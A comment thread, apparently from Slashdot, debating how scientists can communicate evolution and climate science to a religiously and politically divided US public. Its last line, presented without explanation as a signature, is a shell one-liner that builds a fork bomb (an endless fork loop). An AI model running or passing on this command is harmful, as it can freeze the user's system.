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How To Communicate Science to a Polarized US Audience
Prescott writes "Given the divisions in the US around subjects like evolution and climate change, scientists face challenges in how to communicate good science to a polarized US public. Speakers at the recent AAAS meeting talked about how scientific information is delivered to and understood by a public that interprets it via personal beliefs, religious and otherwise. 'The talks were organized by Matthew Nisbet, a professor of communications who is a proponent of the framing of science, in which communications techniques borrowed from the political realm are applied to promote scientific understanding. As such, a number of speakers advocated specific frames for publicly controversial scientific issues. Unfortunately, the use of those frames appears likely to generate controversy within the scientific community, and several speakers noted that science faces challenges that go well beyond communicating knowledge to the public. There were some hints of a way forward that might work for both the scientific community and the public, but the challenges appear significant.'"
You would think that after our history teaches about what most American's relatives did in Europe that we would have learned the same lessons that EU did; Namely separate religion from science. It is one thing to be fighting over GW (with all the fud put out by oil companies, etc, it is no wonder that Americans and others have issues understanding the situation), but the idea that Americans believe in ID is downright scary. There are ppl that actually believe that the earth is less than 5000 YO. Hell, I had a lengthy discussions with one of my ADULT students in 99, and he was telling me that Carbon dating does not work. They tested it on a knife blade. When I pointed out that one of the fundamentals requirements of this, is that it had been living material, he said that Dobson said that it was not a requirement of the test (I was teaching at HP in C. Springs; this man belonged to FOTF group). The test was worthless and yet, this guy (and almost certainly others) were SOLD on it. Roughly, it is coming down to ppl like FOTF, Moral Majority types bending intelligent ppls minds. It is religious groups that are killing America. Hopefully we bounce back from it.
I prefer the "u" in honour as it seems to be missing these days.
How can science avoid talking about political agendas when most research funding comes from the political arena?
This quote, about how science is actually done, is one I put on my quotable quotes page. It's worth reminding people that the "eureak" model of science is a little bit simplistic.
"The work of real science is hard and often for long intervals frustrating...
"Keep in mind that new ideas are commonplace, and almost always wrong. Most flashes of insight lead nowhere; statistically, they have a half-life of hours or maybe days. Most experiments to follow up the surviving insights are tedious and consume large amounts of time, only to yield negative or (worse!) ambiguous results.""
-Edward O. Wilson
"Scientists, Scholars, Knaves, and Fools," in American Scientist 86 (1998)
But, as has been pointed out by Michael White, journalism is more about a "good story" than about accuracy about how science is done.
http://www.geoffreylandis.com
In early 2007, I was consulting in India, when a bunch of superstitious idiots tasted the (polluted) water coming from Mahim Creek into the ocean. It tasted sweet, not salty! Of course that was probably due to contamination from some chemical like antifreeze or something. Yet there are these idiots, proclaiming a miracle by one of India's gods. Some Indian scientist looked at the water and said "Holy fucking gods, you morons are DRINKING THIS STUFF??" or something like that. Did that stop them? Nope. The only thing that stopped them was when the pollution disappated and the water turned salty again.
I don't blame Indians for this, of course. There are a-scientific morons everywhere. Some of them even post on Slashdot.
Don't piss off The Angry Economist
Religions are full of metaphor, but they're trying to communicate things that are scientifically sound.
The reason people get so screwed up is because they interpret things literally, when all those personifications are meant to be a device to allow wisdom and knowledge about the universe to be preserved and propagated through an oral tradition.
Once you get this into your head, religions make a lot of sense. Spirits = Germs Personified. God = Cold Hard Reality Personified. And so on and so forth.
Science has limitations. The scientific process can't be applied to lifestyle choices, because the experiments you'd need to do would take longer than the span of your own life to create a set of relevant data.
That's where religion fits. Religions spring up like mutations, and most of them die because their inherent flaws kill off their followers, leading to the death of the religion. The ones that still exist in the world today are the ones that were proven over generations to be effective ways to survive and thrive.
If we're going to improve the systems by which we live, and thus improve our own lives, there is just as much need for the scientific community to acknowledge that there are things that science cannot answer as there is for the religious community to stop interpreting things in such a literal and close-minded fashion.
The modern scientific mindset is very fatalistic and nihilistic, and that is a real problem that needs to be dealt with if we are all going to come together and have frank and sane discussions about how we run our lives.
Takes an awful lot of distance and detachment to see it.
-1 Uncomfortable Truth
Poli-comm may not have been designed to promote understanding, but that does not mean it cannot be used as such by clever people. I can see how methods designed to obscure facts and be use to instead reveal them.
1/5 of the world's population believe that Jinns make technology work. That a match works because their moon god wills it to work. Science has much to overcome
One of the things you need to be careful of when you are arguing facts is to ask, are you arguing facts or are you arguing theories? I for one am very impressed at how many scientific "facts" get shot down by new evidence every week, at least in the area of cosmology(is cosmology the right term?).
Lame attacks huh? How many bestselling books have you written? Theism mocks itself. You're just upset that materialists are tired of bending over backwards to keep from shattering your narrow world view. Anyone that thinks humans or life in general has a special place in the universe is mistaken and in for some depressing realizations. You can only keep running from it for so long. As you retreat your doctrines further into the spiritual realm (read: imaginary) they become even more irrelevant and disconnected from reality. I respect your right to believe anything you wish but don't think you can attempt to justify those beliefs without people like myself speaking up and saying: ahem, you are full of shit. The problem is, you don't like hearing that your beliefs are irrational. You want faith AND you want to justify it. That's where the problem lies. Faith by definition cannot be justified. I'll leave you to mull this over but pissing and moaning about people stepping on toes and hurting feelings changes nothing. Everyone is competent to have a view about religion. Trying to discredit Dawkins because he doesn't have formal training is nothing more than an appeal to authority and a fallacious ad hominem.
"I for one am very impressed at how many scientific "facts" get shot down by new evidence every week, at least in the area of cosmology(is cosmology the right term?)."
Name some AC. I realize I'm responding to an AC, who is most likely AC because they believe in fairy tales but don't want to admit it so you post AC with an observation of how many "facts" get shot down every week.
So now that we all know what the real deal is, name some of those "facts" AC. You talk about the importance of discerning between facts and theories, but I bet most of those "facts" you think were "facts" were never presented to you as anything other than theories, ESPECIALLY if they're regarding "cosmology".
Are you sure you're not intentionally confusing them in a weak attempt to make scientists, and science in general, appear wishy washy and willing to jump to conclusions?
The beating that NSF, NIST, and DOE Office of Science took in the FY08 budget should be evidence enough that we need to make a better case about the value of science. Despite the rhetoric and the America COMPETES act, science is not a budget priority. Washington listens to voters, and if the voters seem indifferent to science funding then congress is indifferent to science funding.
I wonder if there really is a drive against science in the United States or if it's just sensationalism on the part of the media. I can't think of anyone I know who doesn't believe in evolution, the fact that the Earth is billions of years old and that the earth orbits the sun and that neither are at the center of the universe. And they would think it's preposterous to think otherwise. And the beliefs same regardless of whether or not they're religious.
Perhaps I live in the wrong part of the country, but I still think there's a bit of sensationalism going on here. I've found people to be informed, to varying degrees of course, thanks to television and especially the internet. A quick search of the internet can uncover quite a bit of information, and disinformation as well, I'll admit.
What I've found interesting while living in Asia is how much more pervasive spirituality and religion is there. It's embedded in the culture. Astrology there is more complex and taken more seriously there. You can buy books on how to use spiritual guides to help win the lottery. They still believe in things like phrenology. I can't count the times I've heard people say that a taller forehead means you're more intelligent. In China a school recently stated that kids with flatter heads were more apt to do poorly in school. Pretty much any part of someone's body can supposedly signify something.
No one really seems to question it. They just see it as another way to view the world I guess. And these notions are prevalent everywhere in east Asia, even in Japan. I'm not passing judgment one way or another, but pointing out that this certainly isn't unique to the United States.
Although I admit recent efforts to force creationism into the science class is concerning, to say the least. And while I think something needs to be done to stop that sort of nonsense I don't think it's a major problem yet. I'm more concerned about influences from popular culture. Look at all the attention given to garbage like American Idol. I'm more concerned about celebrities and athletes get all the attention but we barely hear anything about science and technology. We don't hear anything in the popular media about all the scientific progress being made and the valuable role scientists play in our society.
I've riffed on this a little bit in one of my own sites, but always find this an interesting topic so I'll re-hash. Daniel Gilbert's book Stumbling on Happiness talks about research showing that we see things with greater clarity "now" than in the "distant past" in much the same way we see things with detail closer up than things far away. I think one has to understand that it's uncomfortable for most people to think about things in the distant past in a detailed way. So if it doesn't effect my day-to-day life to think that the earth is 6000 years old (and to be realistic it doesn't effect most people's day to day life) then I've got no good reason to put myself through the discomfort of trying to visualize the evolutionary or cosmological process over millions and billions of years. To that end I think the key is going to be, as the authors of the original article seem to point out, finding common ground, and finding life relevant applications for this information.
David Sloan Wilson has some interesting things to say on the subject of religion, the "new atheists" and evolution (for those who don't know who he is, he's an atheist and evolutionary biologist who has written a couple books like Darwin's Cathedral and Evolution for Everyone). I think I can sum up part of one of his arguments in his recent Huffington Post series as "If you say 'screw them, we'll make them bow to the truth of our science' you lose the moral high-ground." In much the same way saying "their evil so it's OK if we torture THEM" does the same thing for a nation.
There's a problem with high-level scientific understanding, and that's that it is high-level. To "prove" to somebody X or Y you've got to first insure that they know enough about the subject to understand your argument (and the facts) in the first place. Because the vast majority of the population doesn't have an inclination, or vested interest in learning enough about science, or religion for that matter, they have to make the call on who to believe. For the most part what, to me, the Dawkins/Hitchens crowd seem to be saying is "trust us, we're scientists, the facts are on our side" in the same way that religious leaders say "trust us, we're pastors, God is on our side." Well, if my Grandmother told me God was right and Richard Dawkins told me Science was right, if I'm not getting too deep in personal investigation of the subjects, I'm more inclined to listen to the nice old lady than the prickly obnoxious scientist.
It's like the old saying (which has probably been mythbustered) "you catch more flies with honey than vinegar." When we can make science useful and relevant to people's every day life, it's easier to teach it. And if you're competing with a church experience that, for all its flaws, includes friends who come take care of you when you're sick, and ask you how you're doing every weekend at services, and all of the GOOD things that religious experience brings to people's lives you're going to have a tough time selling a few crotchety atheists as ambassadors. To take an evolutionary tact with the same thought, how are you going to compete with groups of people that provide a medium to meet and breed (prolifically) with people of like beliefs. I'm not sure the numbers, but if your average atheist couple has 1.2 kids, and your average Christian couple has 2.3 kids you're going to have to win somebody over to not be overwhelmed by their numbers. I don't think Dawkins wins over many converts to athiesm because he preaches to the choir (to use a church metaphor).
wordtrip.com
The problem is not religion as a whole, it's the idiots who think that religion is something that is literally true.
Religion is a type of philosophical dualism. You believe in physical stuff, and you believe in spiritual stuff. There is no inherent problem with this because they have no points of congruity; science describes the physical, religion describes the spiritual. Simple. Even if you don't believe in the sky fairy or whatever, it's still somewhat beneficial to put some skull sweat into truth, beauty, morality, etc, so this is an idea that most people wouldn't find offensive. Likewise, even if you're a hardcore sky fairyist, you still need to be able to work your toaster, so it's important to understand the physical world.
But there is a certain type of person who is just unable to let it slide. They spend their time trying to say that their favorite side of the coin is the only side of the coin, and every other opinion is wrong; basically trying to turn a perfectly sensible and unobjectionable dualism into a crappy monism.
It's human nature. You can't fix it, and there is no way to sugar coat it so that the zealots will agree with you.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Yes... but.
Yes: the public and scientists expect science to be objective and independent of judgments by those outside the scientific community. In order to function effectively, scientists and others must believe the myth of scientific objectivity.
But: science and politics are inseparable. Science has political motivations and political effects. Without the politics, it is meaningless. For example, one of the scholars quoted in the article suggests that "scientists should present scientific progress as our best hope for an improved future". The idea of progress itself is political: today and historically it has been politically contentious. What do we mean by progress - economic efficiency, environmental sustainability, quality of life, spirituality? Do we even believe it is possible? (Some conservatives would say human nature and human society don't really get better; some radicals would argue the myth of progress is dangerous.)
Philosophers of science explain that science is grounded in community standards that are not themselves scientific. For example, Habermas argues that the standards of evidence accepted by a scientific community rely on a consensus that cannot be arrived at scientifically. Thomas Kuhn, in his theory of scientific paradigms (origin of the expression "paradigm shift") explains that while scientists believe they choose theories that best fit the evidence (I will not say "truth" or "facts", because these lie in the domain of philosophy, not science, and are doubtful), but because those theories are productive in driving future research. Scientists depend on the myth of the objectivity of science in order to achieve the peer consensus necessary to do their work, but it is still a myth.
None of this is to say that science should not conform the scientific method, the norms and practices of the scientific community, and so on. It should. It has proven to be incredibly powerful and useful. It is simply an argument against trying to cut off science from politics. For that is impossible: every scientific community is built on and directed by human values and judgments that are themselves unscientific. Pretending that science is a purely rational enterprise not subject to human judgment conceals the values that drive it, making them impossible to question. Then science becomes a dangerous political weapon immune from political judgment.
Unfortunately, much of that judgment is flat-out dishonest. Many creationists, for example, have a field day with claims that evolution is "just a theory" without caring or understanding what that means. But I see a number of posts here arguing that science should just objectively evaluate the facts. It doesn't, it can't, - and frankly, if we want science to contribute to making human life better, rather than a means of exerting political control, it shouldn't: because "better" is a political question.
What I'm getting at is that you can't communicate to some people, regardless of how good your data is, your evidence, or your argument.
That is not strictly true. You can't communicate with argument, true, but you can always communicate. When you meet a real hard case, then perhaps you can flatly say "Oh yeah." and smile mysteriously.
If a person flat out refuses to hear counter to their belief because of "faith", there is nothing you can do. Faith is, after all, accepting something as fact which observation and evidence prove to be false.
I know this is a common idea of faith. I can't disagree because language has a democratic quality to it. Nonetheless, I believe that the root of faith is about being strictly true to your own experience of things at a deep level. Since their is a painful quality to expressing arrogant behaviour, if one is strictly true to their experience, one will let go of arrogance of all kinds. That pretty much negates beliefs of all kinds, since it's impossible to "know" something. One can only have ideas about things.
Like all pain, suffering is a signal that something isn't right
The scientific belief is that the universe is ordered according to principles and that those principles are knowable. Science tells us both how things work, and why we know. Science also has a lot to say about why things are the way they are.
For example:
We might be able to say why air has weight - but not at the ultimate level. Weight is associated with mass and gravity. The elementary particles of air have mass. Since the air particles are in a gravity field, they have "weight". But our "why" reasoning breaks down at fundamental levels, such as why things have mass altogether. At this point, we point to intrinsic properties, and how it is that we know them.
So science does goes a great distance with the "why". Ultimately this is the exploration of the natural world that kicks off when a child first starts to ask the question.
Like all pain, suffering is a signal that something isn't right
> once science does figure out the answer, the religious
> should reinterpret their worldview to embrace it.
So suppose I've been raised as a fundamentalist evangelical christian. Say I've been taught that God created the entire universe in just six days for the express purpose of putting humans here to test their mettle, and our world will endure only until humanity degenerates into a bunch of Sodomites. Then some guys come along telling me the human species is an adaptation of a mutant fish who had no particular plan for us, and the Earth's expiration date has little to do with gay marriage. How can I possibly reconcile that to my worldview?
No, that's a parody of a particular Christian doctrine, held by a segment of American Protestants. I'm not sure whether you mean to assert that your parody is "theism", or the actual doctrine is theism, but I'm quite sure that neither one is theism.
Theism is simply the belief in god(s). If the GP believes that Elvis is God and will return to rule the world, how is that not theistic?
Besides, everyone knows it's Jim Morrison, not Elvis who's going to rule the world.
What happens to Ray Manzarek, Robbie Krieger, and John Densmore?
This is an insightful post. It reminds me of some commentary I read in a siddur during a High Holy Days service. To the best of my memory, it said: If this (what we believe in) is true, it is the only thing that matters. If it isn't true, nothing matters. There is the confidence that you can't go wrong even if you're not right. So Yeshua said to the Twelve, "Don't you want to leave too?"
Shim`on Kefa answered him, "Lord, to whom would we go? You have the word of eternal life."
- Yochanan 6:67-68
It reminds me of Stephen Hawking's wonderfully understated comment that 'Isaac Newton was not a pleasant man'
http://checfs2.ucsd.edu/~samcho/scientists.html
As the row [over who invented Calculus - actually both Leibniz and Newton did independently] grew, Leibniz made the mistake of appealing to this Royal Society to resolve the dispute. Newton, as president, appointed an "impartial" committee to investigate, coincidentally consisting entirely of Newton's friends! But that was not all: Newton then wrote the committee's report himself and had the Royal Society publish it, officially accusing Leibniz of plagiarism. Still unsatisfied, he then wrote an anonymous review of the report in the Royal Society's own periodical. Following the death of Leibniz, Newton is reported to have declared that he had taken great satisfaction in "breaking Leibniz's heart."
During the period of these two disputes, Newton had already left Cambridge and academe. He had been active an anti-Catholic politics at Cambridge, and later in Parliament, and was rewarded eventually with the lucrative post of Warden of the Royal Mint. Here he used his talents for deviousness and vitriol in a more socially acceptable way, successfully conducting a major campaign against counterfeiting, even sending several men to their death on the gallows.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;